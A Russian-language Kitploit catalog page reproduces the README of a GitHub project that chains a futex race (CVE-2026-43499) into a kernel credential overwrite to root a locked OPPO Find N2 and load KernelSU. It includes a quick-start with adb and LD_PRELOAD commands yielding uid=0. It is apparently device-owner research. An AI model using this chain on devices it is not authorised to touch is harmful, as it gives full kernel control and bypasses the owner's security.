Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
oppo-ghostlock — OPPO Find N2 GhostLock (CVE-2026-43499) адаптация эксплойта | Kitploit
Инструменты/GitHubGitHub/pubglite55/oppo-ghostlock
Безопасность AndroidПовышение привилегийФреймворки для эксплойтовКриминалистика памятиАнализ уязвимостейЭксплуатацияОбратная инженерияМобильная безопасностьОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHub
602414014 дней назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
pubglite55/oppo-ghostlock

oppo-ghostlock

OPPO Find N2 GhostLock (CVE-2026-43499) адаптация эксплойта

Репозиторий

English | 简体中文

findn2-ksu-chain

Поздняя загрузка KernelSU на заблокированном OPPO Find N2 — полная цепочка, самостоятельно собранный LKM, без разблокированного загрузчика.

futex-PI write primitive → cred overwrite → ADRP overflow fixed → kernelsu.ko live

root KMI SoC SELinux


✨ Что это

Полная, рабочая исследовательская цепочка, которая загружает самостоятельно скомпилированный модуль ядра KernelSU в стоковый OPPO Find N2 (PGU110 / SM8475) с заблокированным OTA — завершаясь su -c id → uid=0 … context=u:r:ksu:s0, при этом SELinux остаётся в режиме Enforcing.

Всё в lkm-build/ (загрузчик, шим symbol-wall, система сборки) — оригинальная работа из этого репозитория; userland-эксплойт — это порт фреймворка matisse под GPL-3.0, адаптированный под это устройство (см. NOTICE).

🏗️ Как это работает

 ① futex PI requeue race      →  kernel write primitive  (GhostLock, CVE-2026-43499)
 ② task->cred = &init_cred    →  CapEff 0000000000000000 → 000001ffffffffff
 ③ gate check                 →  capable() ✓ SELinux ✓ domain ✓  (the wall was never here)
 ④ finit_module               →  R_AARCH64_ADR_PREL_PG_HI21 overflow  ← the real wall
                                fixed by -mcmodel=large: reloc-275 1497 → 0
 ⑤ kernelsu.ko live           →  /system/bin/su · u:r:ksu:s0 · SELinux Enforcing

📊 Результаты

Примитив записиCapEff: 000001ffffffffff наблюдался на устройстве (3/3 запусков)
Исправление релокацийколичество type-275 1497 → 0 (гистограмма ELF .rela проверена)
Стена символовTRIM_UNUSED_KSYMS сократил 49 символов → загрузчик kprobe + прямые объявления → 0 неопределённых
Контроль SCMscmversion закреплён на g74d132f4467a, побайтово точно
Стабильностьпредполётная проверка + рецепт сниженного давления; итоговое время работы 27ч+ без сбоев

🚀 Быстрый старт

Сборка и запуск (нажмите, чтобы развернуть)
# 1) kernel modules are built by GitHub Actions (build-lkm.yml) — download artifacts,
#    or build locally:
KSRC=<vendor-tree> KSU=<KernelSU> CLANG=<clang12> CONFIG=config-5.10.236 \
    bash lkm-build/build-lkm.sh

# 2) stage-A write primitive (userland)
adb push exploit-v29/build/oppo-find_n2/bin/preload.so /data/local/tmp/preload29.so
adb shell "LD_PRELOAD=/data/local/tmp/preload29.so /system/bin/toybox id"   # uid=0

# 3) stage-B late-load
adb push lkm-build/out/ksu_min_load.ko lkm-build/out/kernelsu.ko /data/local/tmp/

# 4) verify
adb shell "su -c id"                     # uid=0 … context=u:r:ksu:s0
adb shell "grep kernelsu /proc/modules"  # kernelsu … Live

📁 Карта репозитория

exploit-v29/     userland exploit (matisse port, GPL-3.0) + Find-N2 offsets
lkm-build/       ★ original build system: loader · symbol shim · CI scripts
analysis-scripts/  ELF / symbol / offset tooling
test-programs/   standalone PoC probes (C sources only)
docs/            research notes · evidence logs · handoff snapshots
RESEARCH.md      ★ full technical write-up (§1–§10)

📜 Полная история

Каждый тупик, строка dmesg и исправление задокументированы в RESEARCH.md — включая то, почему проверка разрешений никогда не была проблемой, как было обнаружено и устранено переполнение ADRP, и что изменилось после OTA 5.10.246.

🙏 Благодарности

  • NebuSec/CyberMeowfia — исследование и фреймворк эксплойта GhostLock (CVE-2026-43499)
  • ihamn/matisse-public (GPL-3.0) — исходная основа exploit-v29/
  • Dere3046/ElevateMe — механизм перезаписи cred через rb_erase
  • JoinChang/ghostlock-oneplus — перекрёстная проверка смещений для того же SoC
  • DirtyFrag / сообщество DFRoot (CVE-2026-43284) — только идеи (очистка page-cache, заглушки DEFEX, обход STATIC_USERMODEHELPER); код не заимствовался — lkm-build/minload/ является оригинальной реализацией, сравнение в RESEARCH.md §8
  • обсуждения сообществ lspromise и kanxue

⚖️ Лицензия и отказ от ответственности

  • lkm-build/, документация, скрипты: GPL-2.0-only · exploit-v29/: GPL-3.0 (upstream)
  • Только для исследований и обучения, на вашем собственном устройстве, на ваш собственный риск. Кирпич, потеря данных и потеря гарантии — вполне реальные возможности. Проприетарная прошивка OPPO не включена в этот репозиторий.
Скачать инструмент